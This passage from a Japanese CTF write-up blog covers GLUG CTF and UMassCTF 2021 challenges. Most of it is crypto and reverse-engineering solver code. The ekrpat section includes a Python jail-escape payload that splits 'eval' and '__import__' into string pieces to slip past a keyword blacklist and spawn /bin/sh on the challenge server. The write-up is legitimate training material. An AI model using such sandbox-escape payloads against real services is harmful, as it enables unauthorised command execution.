        0049e152 01              ??         01h
        0049e153 00              ??         00h
        0049e154 00              ??         00h
        0049e155 00              ??         00h
        0049e156 00              ??         00h
        0049e157 00              ??         00h
        0049e158 38              ??         38h    8
        0049e159 2f              ??         2Fh    /
        0049e15a 01              ??         01h
        0049e15b 00              ??         00h
        0049e15c 00              ??         00h
        0049e15d 00              ??         00h
        0049e15e 00              ??         00h
        0049e15f 00              ??         00h
        0049e160 3f              ??         3Fh    ?
        0049e161 2f              ??         2Fh    /
        0049e162 01              ??         01h
        0049e163 00              ??         00h
        0049e164 00              ??         00h
        0049e165 00              ??         00h
        0049e166 00              ??         00h
        0049e167 00              ??         00h
        0049e168 3f              ??         3Fh    ?
        0049e169 2f              ??         2Fh    /
        0049e16a 01              ??         01h
        0049e16b 00              ??         00h
        0049e16c 00              ??         00h
        0049e16d 00              ??         00h
        0049e16e 00              ??         00h
        0049e16f 00              ??         00h

XORの処理概要は以下の通り。

・gen_key((int)param_2,(int)param_3,(int)param_4,(int)param_5)
 (0x47 + 0x4c + 0x55 + 0x47) * 0x100 (=77568)を返す。
・auStack312: 各文字の77568とのXOR→実質0とのXOR
・auStack312の値がDAT_0049e060と同じになればよい。

このことから以下が正しい入力となることがわかる。

x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??
$ ./childrev 
ENTER THE FLAG : x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??
YAY U MADE IT 
GLUG{x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??}
GLUG{x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??}

Bulky Load (Forensics/Steg)

pcapには4つのパケットしかない。Leftover Capture Dataをすべてエクスポートし、結合する。

$ cat 0.bin 1.bin 2.bin 3.bin > flag.wav

Audacityで開き、スペクトグラムを見ると、フラグが書いてあった。
f:id:satou-y:20210408202715p:plain

p17ch_0v3r_7R4FF1C
GLUG{p17ch_0v3r_7R4FF1C}

Profezzor revenge (Crypto)

途中 "\xae\xfa\xba\xbe" が繰り返されている。ここは\x00で埋められていると推測できる。つまりXOR暗号で、鍵は"\xae\xfa\xba\xbe"であると推測できる。

with open('assignment', 'rb') as f:
    enc = f.read()

key = '\xae\xfa\xba\xbe'

flag = ''
for i in range(len(enc)):
    flag += chr(ord(enc[i]) ^ ord(key[i%len(key)]))

with open('assignment.pdf', 'wb') as f:
    f.write(flag)

復号すると、復号したPDFにフラグが書いてあった。
f:id:satou-y:20210408202923p:plain

GLUG{XOR_IS_EASY_RIGHT}

Lost-N (Crypto)

RSA暗号で1文字ずつ暗号化しているが、nはわからない。
平文の英大文字は英小文字にしていて、425個の暗号があることから、同じ暗号を同じ文字にして、quipqiupを使い、調整しながら復号する。

4046810071063141986960917924194350544508326229887146469380601901529629079312263457180953100470382029366581696684359204139663147675926152123864012234219386204615161605401781528508066196417606088540276195892366153623254568532781505497052709323369519037527713446006710253416231837541145006017041619960920268096
はスペース

30177593114963646252821551868269905883903350249757804601722788525348827027006070870902796697173193008395256513576484378618688884967997030953871143151692391072805065385165011793698284669820619939898756201806219479576655145922885226430784268014537137780097516194903117297107905833393764443142200450513386425623
はカンマ

10494692543699663136572124962194546078298532133376796088057491653276300507410033793866606948926361908749109728563433886999664622809205896589207790089853417676040143281083380990812490253295277512106926759832699420266108205957029882605769495374268114536049872356342102324772140554886370074044152623010121464896
はピリオド

98149233858666434416177916966565806645548999892073825477058657251366425653436473318731593688335542102460355908688279045038185585590897910451728554743060144417805385201446197103102181956396056667119789086665385461479639543271571173368926133004413248780779109465335392702530482433179355268059272103848568234845
はアンダースコア

50576582068601981500451742441423037651057413514088470061541488926431616532879620581390071419499575720374127581084151865195696979899855043770942075518890651989936838878728971617048742219547829153826121470041079588583159370147890874300498866912777458577515280880729645671585134344650894299230430992964821031209
は {

10048732253951858823734220155726534543719672278633632165249552946442212045200090442739446045636885712002654141040067248163842356266277899230588485190513084781029553913270409083939309633472338071989535726280505239292888992200046505923546971383134073899378130803814257520587297480263755747779050748322169805739
は }

97850220057074415912303789120378575073279355268685977151687029480227616659745987431532734649821463638630686179937491556304557739387590236798701024768808260793779751752424448607467568128777929282169263516121638474906056762071897712894819958971099051601857656264134929098620067250600575391173709241858700309556
は !

最終的なコードは以下の通り。

import string

SPACE = 4046810071063141986960917924194350544508326229887146469380601901529629079312263457180953100470382029366581696684359204139663147675926152123864012234219386204615161605401781528508066196417606088540276195892366153623254568532781505497052709323369519037527713446006710253416231837541145006017041619960920268096
COMMA = 30177593114963646252821551868269905883903350249757804601722788525348827027006070870902796697173193008395256513576484378618688884967997030953871143151692391072805065385165011793698284669820619939898756201806219479576655145922885226430784268014537137780097516194903117297107905833393764443142200450513386425623
PERIOD = 10494692543699663136572124962194546078298532133376796088057491653276300507410033793866606948926361908749109728563433886999664622809205896589207790089853417676040143281083380990812490253295277512106926759832699420266108205957029882605769495374268114536049872356342102324772140554886370074044152623010121464896
UNDERSCORE = 98149233858666434416177916966565806645548999892073825477058657251366425653436473318731593688335542102460355908688279045038185585590897910451728554743060144417805385201446197103102181956396056667119789086665385461479639543271571173368926133004413248780779109465335392702530482433179355268059272103848568234845
BRACKET_L = 50576582068601981500451742441423037651057413514088470061541488926431616532879620581390071419499575720374127581084151865195696979899855043770942075518890651989936838878728971617048742219547829153826121470041079588583159370147890874300498866912777458577515280880729645671585134344650894299230430992964821031209
BRACKET_R = 10048732253951858823734220155726534543719672278633632165249552946442212045200090442739446045636885712002654141040067248163842356266277899230588485190513084781029553913270409083939309633472338071989535726280505239292888992200046505923546971383134073899378130803814257520587297480263755747779050748322169805739
EXCLAMATION = 97850220057074415912303789120378575073279355268685977151687029480227616659745987431532734649821463638630686179937491556304557739387590236798701024768808260793779751752424448607467568128777929282169263516121638474906056762071897712894819958971099051601857656264134929098620067250600575391173709241858700309556

with open('encrypted', 'r') as f:
    ct = eval(f.read().split('\n')[1].split(' = ')[1])

chars = string.lowercase + string.digits

index = 0
dic = {}
enc_msg =''
for c in ct:
    if c not in dic:
        if index == 23:
            print c
        if c == SPACE:
            dic[c] = ' '
        elif c == COMMA:
            dic[c] = ','
        elif c == PERIOD:
            dic[c] = '.'
        elif c == UNDERSCORE:
            dic[c] = '_'
        elif c == BRACKET_L:
            dic[c] = '{'
        elif c == BRACKET_R:
            dic[c] = '}'
        elif c == EXCLAMATION:
            dic[c] = '!'
        else:
            dic[c] = chars[index]
            index += 1
    enc_msg += dic[c]

print enc_msg

最終的には以下のようになる。

abcdeef, b ghibghg jkdj jkh lmnlhm ojmdjhpf qdo jn ojdmh rdis. rnfo gn cnj kdth duncnlnef nc jkh ojdmbcp rvobchoo, dajhm dee. on b ennshg kbu nthm do ldjmbisdiscnqehgphg anm jkh jknvodcgjk jbuh kbo rdeewehoochoo hji,dcg onnc bj qdo d ojdmbcpincjhoj. dajhm d qkbeh jkh rnf oubehg, dcg jkhc abcdeef kbo revh hfho pedcihg dqdf. qkhckh ennshg rdis dj uh, b aebishg uf hfhrmnqo vl jn odf, b qbc pevp{fnvm_eblo_uf_eblo_dlnidefloh}!

これをquipqiupにかける。

finally, i decided that the proper strategy was to stare back. boys do not have amonopoly on the staring business, after all. so i looked him over as patrickacknowledged for the thousandth time his ballxlessness etc,and soon it was a staringcontest. after a while the boy smiled, and then finally his blue eyes glanced away. whenhe looked back at me, i flicked my eyebrows up to say, i win glug{your_lips_my_lips_apocalypse}!
GLUG{your_lips_my_lips_apocalypse}

Intern (Crypto)

$ nc chall.nitdgplug.org 30205
N : 102556442523093261233013957993275265128607428633446702226374291375899783038684037006657999703634851507692029183253217118535592620105194748731931156825319389307453016007444842127815800659786000253333927663321241234055836830492762064054403553028560892057328548638490291019651665559717435948793711045293930976781
e : 3
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 327621869337863370452
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 2
ENC(flag+next_num): 74763700223854263397775497940179010120731682035315642913012460758937430473890691887009954508988719298860094120088791057694183092560597522420730811844989061744942752602945684140800171511761760513570303131790237126510013367745610893257423289730508557892922525009053180209333241626366586035914854281307012964347
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 471305085527813855981
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 294626497123377347713
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT

stateはLCGで決められ、次の数値をnext_numとしてRSA暗号化をしていると推測する。LCGのパラメータを求めれば、次の数が予測できる。
次に2回RSA暗号を行い、暗号を2つ入手する。平文の差がわかるので、Franklin-Reiter Related Message Attackにより復号できる。

#!/usr/bin/sage
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chall.nitdgplug.org', 30205))

data = recvuntil(s, '$ ')
print data[:-1],
N = int(data.split('\n')[0].split(' ')[-1])
e = int(data.split('\n')[1].split(' ')[-1])

nums = []
for _ in range(8):
    print '1'
    s.sendall('1\n')
    data = recvuntil(s, '$ ')
    print data[:-1],
    state = int(data.split('\n')[0].split(': ')[1])
    nums.append(state)

M = pow(nums[2] - nums[1], 2) - (nums[3] - nums[2]) * (nums[1] - nums[0])
for i in range(4):
    modulo = pow(nums[i+3] - nums[i+2], 2) - (nums[i+4] - nums[i+3]) * (nums[i+2] - nums[i+1])
    M = GCD(M, modulo)

A = ((nums[2] - nums[1]) * inverse(nums[1] - nums[0], M)) % M
B = (nums[1] - A * nums[0]) % M

print '2'
s.sendall('2\n')
data = recvuntil(s, '$ ')
print data[:-1],

C1 = int(data.split('\n')[0].split(': ')[1])
next_num1 = (A * nums[-1] + B) % M

print '2'
s.sendall('2\n')
data = recvuntil(s, '\n').rstrip()
print data

C2 = int(data.split(': ')[1])
next_num2 = (A * next_num1 + B) % M

diff = next_num2 - next_num1
m = related_message_attack(C1, C2, diff, e, N) - next_num1

flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

N : 117632382751217833417514128128283695202991985525132449488874139053825161212550501538033136870931057716260101769650251415058275460172876199611843006709033610667928495427074220748068807142114630959387833160465341622731211096669494894602349744987861536518629484060528898723614525737856594731667457389721404075543
e : 3
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 322382049975454248992
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 55784804586607546893
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 291857894780069194758
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 232416572653120627798
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 262806820026726563641
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 184122577206227242967
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 398431767066001875863
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 1
state for you: 79850098891311513907
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 2
ENC(flag+next_num): 84318728336681925336968882015542758252751897626943853644715292353119885497204331017190038550274125623635565131313245181412796496427470506836486031455935653258596332423272690383466350637790731629258660116260668369323845738162047846059679527323143996645985988134069753887484206354056685528986692416759703059494
 
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT


$ 2
ENC(flag+next_num): 12849437425314087330328620168806053566944315345146328907001623131663317044433948474226755793944957114605556064475018584801708945482046975241719803058465422250724477591551201730347235356021198026671745238579460395484252126508872193117483681804777742479812541030505551317473053505879524793666964028805183978510
Do you really think LCG with RSA will make secure system btw flag is GLUG{n44m_l3k3_k44m_4151_50urc3_73r3_bh41_k1}
GLUG{n44m_l3k3_k44m_4151_50urc3_73r3_bh41_k1}

Hill-Kill (Crypto)

$ nc chall.nitdgplug.org 30211
HERE YOU GO, YOU HAVE 50 SECONDS TO REACH AT THE TOP
KEY        : aeujkrdiqbhifabbkmykwitqiwxhkkddixjv
CIPHERTEXT : bdbmroaawrisdwnfxfaxxecxrdwbmggocwibpygsqlehiurosjbfgefkcoat
Enter the decoded Ciphertext:

Hill暗号。KEYのサイズが変わることに注意してプログラムにする。

import string
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def create_key_matrix(s, d):
    M = []
    for i in range(d):
        row = []
        for j in range(d):
            index = string.lowercase.index(s[i*d+j])
            row.append(index)
        M.append(row)
    return M

def create_msg_matrix(s, d):
    M = []
    for i in range(d):
        row = []
        for j in range(d):
            index = string.lowercase.index(s[i+j*d])
            row.append(index)
        M.append(row)
    return M

def matrix_to_msg(M, d):
    msg = ''
    for i in range(d):
        for j in range(d):
            msg += string.lowercase[M[j][i]]
    return msg

def pad(s, d):
    pad_s = s
    p = (d ^ 2) - len(ct) % (d ^ 2)
    if p != (d ^ 2):
        pad_s = s + 'a' * p
    return pad_s

def hill_decrypt(key, ct):
    dim = int(len(key) ^ (1 / 2))
    K = matrix(Zmod(26), create_key_matrix(key, dim))

    pt = ''
    ct2 = pad(ct, dim)
    for i in range(0, len(ct2), len(key)):
        C = matrix(Zmod(26), create_msg_matrix(ct2[i:i+len(key)], dim))
        P = K.inverse() * C
        pt += matrix_to_msg(P, dim)
    pt = pt[:len(ct)]
    return pt

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chall.nitdgplug.org', 30211))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(25):
    data = recvuntil(s, '\n').rstrip()
    print data
    key = data.split(' ')[-1]
    data = recvuntil(s, '\n').rstrip()
    print data
    ct = data.split(' ')[-1]
    pt = hill_decrypt(key, ct)
    data = recvuntil(s, ':')
    print data + pt
    s.sendall(pt + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

HERE YOU GO, YOU HAVE 50 SECONDS TO REACH AT THE TOP
KEY        : jhcysnavd
CIPHERTEXT : bxvcecieuyavagymsdewubgqhsubhlvmlrlefqsorzitupvogsdhcfeuvzbx
Enter the decoded Ciphertext:bslieqcmsxrsiuyrnoswaxaofqqnetovecdpfagwuhxnlqvflvkqzaftefkh
Hurrah your ans is correct
KEY        : yurpdulijxifcxclgogizddrr
CIPHERTEXT : fjekldxynhpccvcjjfuqbixswvecwfjvjjomfhddcwgitjfsrpqkdncughfx
Enter the decoded Ciphertext:swcolhxfbbhmzuaunpoaqloedqknuurkyvkvoxjsgrbtqnddzxfvbgpdeihx
Hurrah your ans is correct
KEY        : vwxfqdqhesyriabywlwodagll
CIPHERTEXT : xlbdurzclaecjlftmageabofgogahgvrpfqpxojhdpkaovybyioaasfebzdx
Enter the decoded Ciphertext:edpiumuzwgntpciufavhmphxnvzdwjmvteyuxjohthaihmycdrudgutirfly
Hurrah your ans is correct
KEY        : twbn
CIPHERTEXT : uyriomodnlbzfksopqnbnzueprdyaribtddkslykpopenqdhcwirpuvpqgkr
Enter the decoded Ciphertext:ysvlmiqblkzixrokdrbizseormltetotdqxlyzkwbbrzdlhawaerhxpogsex
Hurrah your ans is correct
KEY        : tkskeiqsiqjmottjhgutwrraplesmwiujlfh
CIPHERTEXT : zmisjzvkfoqinqzebiezgdsofzdvcohjbqqelpmikxodpuvnpxuibywhtzcg
Enter the decoded Ciphertext:vgkuextnvtignglsyvegrwjohlaxzufndsdubrckjsctvspnhgenbeksqspb
Hurrah your ans is correct
KEY        : bocpnjfpk
CIPHERTEXT : yxfgmdiipnrviakhluudeqshpiqnjrvphpsfppdbbzqcbqrzzteowsdoavkk
Enter the decoded Ciphertext:evgijbernlgymkghfrygvwhnrlarqqzymjgnjyedcyejvcbajxdgaejfovxi
Hurrah your ans is correct
KEY        : vacdfioouybfcliu
CIPHERTEXT : ibblivhtsfttimnamftdizcryxrizfscyzmsjzndcswgfuenifkfdigyolsl
Enter the decoded Ciphertext:nbkjvvcthvqhqydkhhulnbrndayxnwiqnaznlvfssgquyhfvjhxlkofxbvpf
Hurrah your ans is correct
KEY        : sajchjkarkefrxmpekffoeifw
CIPHERTEXT : ghskjogvltgdmuobzuxajepyiglplibxmcwaqdmxcsntlbauudowchvtyinb
Enter the decoded Ciphertext:ckjbvljvzznblyrnpbqykejaqllciqliiiphqexapjrzhfozvqnqfjtbxozb
Hurrah your ans is correct
KEY        : pqmzkhwyojguffjygnjuvnahn
CIPHERTEXT : hsdxrlonaiueujribfbulwortnwjbmsnlypewduxbgrnktyskqqdgvdindcm
Enter the decoded Ciphertext:cmgpetysytzymljlaahyptdgfkhshoucywhjentluxgzeynfzeywhmjspewh
Hurrah your ans is correct
KEY        : gnfvrywgncaqzvwxkarknvcixpaunnyiqexp
CIPHERTEXT : reuafxaecavlrrsazxazkwgissjxmgpfbpdhvtrhsmetjuehlkvommyekifr
Enter the decoded Ciphertext:sckgvaywmuopxztkjkftlsaegkuhblbnjzkvvxjfkyzibwrwzncfdduiwuod
Hurrah your ans is correct
KEY        : kapfisfbq
CIPHERTEXT : dzwvaezlqqriqaftolzwqgqxujbpvhlfehxfsiidtheuigxjqawmirnljryx
Enter the decoded Ciphertext:fjjmijlrdfvworqgxzoibepwtsglklrvfhgbqyudatwowbkykukibshorobx
Hurrah your ans is correct
KEY        : fywolensbhpigvlp
CIPHERTEXT : ymmqxhxsfexmlbhiemmcruhkwrnrynlriqylpjdvqzbzxqteuwgakzotxcjq
Enter the decoded Ciphertext:cqqgjmmyjzralsiyimcwxhtsyklsmafkyyerpuoxcmnexjzaiiawaffbndpy
Hurrah your ans is correct
KEY        : hptyxatqdzkloaqasfqaokigj
CIPHERTEXT : rdstizdzupkdvxloiuaaahulhqdmzqfbxawqwbcvizdwscouraqprkaykdzq
Enter the decoded Ciphertext:wknhavtmhzdjnxdwaeckembibfcdnsybewsqbuwtnbqsszspuehvesiyfvre
Hurrah your ans is correct
KEY        : hjenkilwrnoggvfn
CIPHERTEXT : novfqunaqhzkzaymvzcrpotxgbzenmwrbileqrwtrpfejezyblswwglgldxl
Enter the decoded Ciphertext:kjyimventylhhxedbtdxcxustulhimydzceeymnsyzxutsaywgxrwdwdbqrw
Hurrah your ans is correct
KEY        : nuwqjokqz
CIPHERTEXT : zuuehbpbbtjhgwsmozuwmcmpzkikpbgsiljstimodbcouamaujszetrkgevg
Enter the decoded Ciphertext:vmsoflzljlxdgmakaxqsuymbtiywxpaasbzczgwkjjossiosszqxqzjkkmzu
Hurrah your ans is correct
KEY        : dlsdqttvr
CIPHERTEXT : cnliffktglvfmpvxaesgkzsampedoncpjarpufilhgusezsgqrkiotztwwyk
Enter the decoded Ciphertext:cupqmpnjqzkmssrnsrscereztvcyhcugjcarvhcqrpwkajgpzzgxntejbqke
Hurrah your ans is correct
KEY        : fuhdsnpikhyuvctq
CIPHERTEXT : aphihpoudihzyfvjnpbwaypgcdethxxynivlwpxaojemadejeplevfphdmku
Enter the decoded Ciphertext:qzgshihzopxgvdybybgnznroogvbsbgvwrjygjiopmnicaxvireevdkyqoal
Hurrah your ans is correct
KEY        : yzvt
CIPHERTEXT : ttypfbhocqbpuaohednoataiplnonhlzkzzbiigpsihbnpxbkodoiebellkp
Enter the decoded Ciphertext:wpjkcrzvgmydwonmdqdhfqyeeddhixapvayfmuxakomvgboboofnasrrkvri
Hurrah your ans is correct
KEY        : xxtpmlnuowqgotzbomaqqfizqhcyrmoowavk
CIPHERTEXT : miwrxoptxubjfnphspfsrgpslkbelbdytvfmrootjipistymjsdrxpdrtwgq
Enter the decoded Ciphertext:spepqwneohtnhtuyhnadwmkouebchmwvltmgodzegdauqsgtmasdbivkorqd
Hurrah your ans is correct
KEY        : jzmdvlkijwsksptu
CIPHERTEXT : suvmgrouqupeargwrrbljintjpowxubtzqmwsgzziyzrlcinezrzlbedzdzl
Enter the decoded Ciphertext:rdpagztdldbemzvbbuzwlfyxildondanwycdtvkunnsauebthyhvelggpihq
Hurrah your ans is correct
KEY        : ledlwilgpzyqpzwd
CIPHERTEXT : ldvlsgvbtcyuxqeegugbwdtcrkwiplfgikaqcqwuqgufobghpjgkxslbtkhj
Enter the decoded Ciphertext:khfgevksjxcyfxakxhwvudprfhuytstzcmsgguocjbotkuttyslijyswnsmm
Hurrah your ans is correct
KEY        : mtdwnchys
CIPHERTEXT : nierabnzwgkloifywqpjhiinudrnyrrokmzybwoqzppzogpwlrxcuurbliac
Enter the decoded Ciphertext:yenfqxwjyxomzmcocafvixeylbrbebqmnurhkiflxpkpauzpljyqiqhnikgu
Hurrah your ans is correct
KEY        : yhdkbmmlbotcaqbaeqejhhnxk
CIPHERTEXT : yfaothkclppblxivpaixarmxwfarqqhimzsgyggzeqcmyxuvamujbtefsowm
Enter the decoded Ciphertext:iyulovosujczbszqqxacdmnilhdeikzjhltuvjrogmagcrjoyyuzolteedbs
Hurrah your ans is correct
KEY        : bjkbuzevzabbynys
CIPHERTEXT : anacfaptfazjiusujfwnfwsqtlwrkacwckwcasrjeajijjopbgnfyhjfsykw
Enter the decoded Ciphertext:jaylxldjlfzlcowyuvcozuzsylscwseucmuewbypgitwkpokttntrvaacwqw
Hurrah your ans is correct
KEY        : nkrzcitvffwotvtfzqlzhfkvlgilobsrdjxv
CIPHERTEXT : daetklksogxbncmjowtfehrmvzbsasrjapbglkkayvqqvsjmmtaihunvegyp
Enter the decoded Ciphertext:ylctabdchykmzziyyrwiezluaoapgfacmrvkjfzfgyvitalwpjqbrjegizlx
Hurrah your ans is correct
Congratulations you are at the top of the hill
Here's your flag : GLUG{17_15_34513r_70_g0_d0wn_4_h1ll_7h4n_up_bu7_7h3_v13w _15_fr0m_7h3_70p}
GLUG{17_15_34513r_70_g0_d0wn_4_h1ll_7h4n_up_bu7_7h3_v13w _15_fr0m_7h3_70p}

FEEDBACK (Misc)

アンケートに答えたら、フラグが表示された。

GLUG{th4nk5_4nd_s3e_y0u_nex7_y3ar}

UMassCTF 2021 Writeup

この大会は2021/3/27 7:00(JST)~2021/3/29 7:00(JST)に開催されました。
今回もチームで参戦。結果は3212点で660チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (misc)

Discordに入り、#welcomeチャネルで鍵アイコンをクリックすると、いろんなチャネルが現れる。#generalチャネルのトピックにフラグが書いてあった。

UMASS{discord_is_better_than_irc_change_my_mind}

ekrpat (misc)

$ nc 34.72.64.224 8083
Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv
>>>

https://uncyclopedia.ca/wiki/Ekrpatを参考に置換する。

C = 'axje.uidchtnmbrl\'poygk,qf;s-wvzAXJE>UIDCHTNMBRL"POYGK<QF:S_WVZ! '
P = 'abcdefghijklmnopqrstuvwxyz;\',./ABCDEFGHIJKLMNOPQRSTUVWXYZ:"<>?! '

ct = 'Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv'
msg = ''.join(P[C.index(c)] for c in ct)
print msg

置換の結果、以下のようになり、pyjailの問題になっているようだ。

You've broken my code! Escape without the help of eval, exec, import, open, os, read, system, and write. First, enter 'dvorak'. You will then get another input which you can use try to break out of the jail.

eval, exec, import, open, os, read, system, writeを使わずに何とかフラグを取得する。

$ nc 34.72.64.224 8083
Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv
>>> dvorak
>>> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ls
Dockerfile
ekrpat.py
flag
ojal.
ynetd
cat flag
UMASS{dvorak_rules}
UMASS{dvorak_rules}

easteregg (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined8 uVar2;
  long lVar3;
  long in_FS_OFFSET;
  int local_194;
  char *local_188;
  char *local_180;
  long local_178;
  undefined8 local_170;
  int local_168;
  long local_158 [8];
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = initialize_rooms(local_158);
  if (iVar1 == -1) {
    fwrite("Failed to initialize rooms!\n",1,0x1c,stderr);
    uVar2 = 1;
  }
  else {
    local_188 = (char *)0x0;
    local_180 = (char *)0x0;
    local_178 = local_158[0];
    local_170 = 0;
    local_168 = 0;
    puts(
        "Welcome to Strong Bad\'s Cool Game for Attractive People Episode 6 - Dangeresque 4: TheCriminally-Dull Projective!"
        );
    puts("Okay, you\'re Dangeresque. Nobody do anything... Dangeresque!");
    putchar(10);
    puts("\"Man. That warehaus was full of action and suspense.\"");
    puts("\"Dangeresque! You\'re outta line!\"");
    puts("\"Oh crap! It\'s the chief! I was supposed to solve a case for him months ago.\"");
    puts("\"Better try and \'solve\' his case quick.\"\n");
    describe_room(local_178);
    do {
      printf("a> ");
      fflush(stdout);
      fgets(local_118,0x100,stdin);
      iVar1 = parse_input(local_118,&local_188,&local_188);
      if (iVar1 != 0) {
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      iVar1 = strcmp(local_188,"look");
      if (iVar1 == 0) {
        describe_room();
      }
      else {
        iVar1 = strcmp(local_188,"inventory");
        if (iVar1 == 0) {
          describe_inventory();
        }
        else {
          iVar1 = strcmp(local_188,"go");
          if (iVar1 == 0) {
            if (local_180 == (char *)0x0) {
              puts("Gotta be more specific than that, bud!");
            }
            else {
              iVar1 = strcmp(local_180,"north");
              if (iVar1 == 0) {
                if (*(long *)(local_178 + 0x20) == 0) {
                  puts("Can\'t go that way!");
                }
                else {
                  local_178 = *(long *)(local_178 + 0x20);
                  describe_room();
                }
              }
              else {
                iVar1 = strcmp(local_180,"south");
                if (iVar1 == 0) {
                  if (*(long *)(local_178 + 0x28) == 0) {
                    puts("Can\'t go that way!");
                  }
                  else {
                    local_178 = *(long *)(local_178 + 0x28);
                    describe_room();
                  }
                }
                else {
                  iVar1 = strcmp(local_180,"east");
                  if (iVar1 == 0) {
                    if (*(long *)(local_178 + 0x30) == 0) {
                      puts("Can\'t go that way!");
                    }
                    else {
                      local_178 = *(long *)(local_178 + 0x30);
                      describe_room();
                    }
                  }
                  else {
                    iVar1 = strcmp(local_180,"west");
                    if (iVar1 == 0) {
                      if (*(long *)(local_178 + 0x38) == 0) {
                        puts("Can\'t go that way!");
                      }
                      else {
                        local_178 = *(long *)(local_178 + 0x38);
                        describe_room();
                      }
                    }
                    else {
                      iVar1 = strcmp(local_180,"up");
                      if (iVar1 == 0) {
                        if (*(long *)(local_178 + 0x40) == 0) {
                          puts("Can\'t go that way!");
                        }
                        else {
                          local_178 = *(long *)(local_178 + 0x40);
                          describe_room();
                        }
                      }
                      else {
                        iVar1 = strcmp(local_180,"down");
                        if (iVar1 == 0) {
                          if (*(long *)(local_178 + 0x48) == 0) {
                            puts("Can\'t go that way!");
                          }
                          else {
                            local_178 = *(long *)(local_178 + 0x48);
                            describe_room();
                          }
                        }
                        else {
                          printf("Where the hell is a \"%s\"?\n",local_180);
                        }
                      }
                    }
                  }
                }
              }
            }
          }
          else {
            iVar1 = strcmp(local_188,"take");
            if (iVar1 == 0) {
              lVar3 = take_item(local_178,local_180,local_180);
              if (lVar3 == 0) {
                printf("There\'s no \"%s\" here!\n",local_180);
              }
              else {
                printf("Got the %s!\n",local_180);
                add_to_inventory(&local_178,lVar3,lVar3);
              }
            }
            else {
              iVar1 = strcmp(local_188,"drop");
              if (iVar1 == 0) {
                lVar3 = remove_from_inventory(&local_178,local_180,local_180);
                if (lVar3 == 0) {
                  printf("I ain\'t got no \"%s\"!\n",local_180);
                }
                else {
                  printf("Dropped the %s!\n",local_180);
                  insert_item(local_178,lVar3,lVar3);
                }
              }
              else {
                iVar1 = strcmp(local_188,"use");
                if (iVar1 == 0) {
                  use_item(&local_178,local_180,local_180);
                }
                else {
                  iVar1 = strcmp(local_188,"jhiezetfmvirlnjfbobk");
                  if (iVar1 == 0) {
                    JHIEZETFMVIRLNJFBOBK = 1;
                  }
                  else {
                    printf("I don\'t know how to \"%s\"\n",local_188);
                  }
                }
              }
            }
          }
        }
      }
    } while (local_168 == 0);
    if (JHIEZETFMVIRLNJFBOBK != 0) {
      local_194 = 0;
      while (local_194 < 0x23) {
        putchar((int)(char)(LHEIBZNXEKQSAPHHUWTQ[local_194] ^ COJASZQHPZXKLAPHRHOK[local_194]));
        local_194 = local_194 + 1;
      }
      putchar(10);
    }
    if (local_188 != (char *)0x0) {
      free(local_188);
    }
    if (local_180 != (char *)0x0) {
      free(local_180);
    }
    free_rooms(local_158);
    uVar2 = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
